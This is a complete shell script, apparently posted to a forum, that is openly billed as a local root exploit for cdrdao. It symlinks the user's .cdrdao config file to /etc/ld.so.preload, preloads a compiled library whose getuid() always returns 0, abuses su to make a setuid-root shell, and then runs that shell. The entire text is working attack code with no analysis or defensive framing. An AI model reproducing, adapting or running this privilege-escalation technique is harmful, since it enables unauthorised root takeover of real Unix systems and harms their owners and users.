#!/bin/sh

DIR=`pwd`

echo ""

echo "cdrdao local root exploit - gr doesn't protect you this time"

echo "Karol Wiêsek <appelast*drumnbass.art.pl>"

echo ""

sleep 2

umask 000

echo -n "[*] Checking if /etc/ld.so.preload doesn't exist ... "

if [ -f /etc/ld.so.preload ]; then

echo "WRONG"

echo "/etc/ld.so.preload exists, write another exploit ;P"

exit

else

echo "OK"

fi

echo -n "[*] Checking if su is setuid ... "

if [ -u /bin/su ];then

echo "OK"

else

echo "WRONG"

exit

fi

echo -n "[*] Creating evil *uid() library ... "

cat > getuid_lib.c << _EOF

int getuid(void) {

return 0; }

_EOF

gcc -o getuid_lib.o -c getuid_lib.c

ld -shared -o getuid_lib.so getuid_lib.o

rm -f getuid_lib.c getuid_lib.o

if [ -f ./getuid_lib.so ]; then

echo "OK"

else

echo "WRONG"

fi

echo -n "[*] Creating suidshell ... "

cat > suid.c << _EOF

int main(void) {

setgid(0); setuid(0);

unlink("./suid");

execl("/bin/sh","sh",0); }

_EOF

gcc -o suid suid.c

rm -f suid.c

if [ -x ./suid ];then

echo "OK"

else

echo "WRONG"

exit

fi

echo -n "[*] Exploiting cdrdao ... "

ln -sf /etc/ld.so.preload $HOME/.cdrdao

if [ ! -L $HOME/.cdrdao ];then

echo "Could'n link to \$HOME/.cdrdao"

exit

fi

cdrdao unlock --save 2>/dev/null

>/etc/ld.so.preload

echo "$DIR/getuid_lib.so" > /etc/ld.so.preload

su - -c "rm /etc/ld.so.preload; chown root:root $DIR/suid; chmod +s $DIR/suid"

if [ -s ./suid ];then

echo "OK"

else

echo "WRONG"

exit

fi

rm -f getuid_lib.so

unlink $HOME/.cdrdao

echo "Entering rootshell ... ;]"

./suid

[ reply ]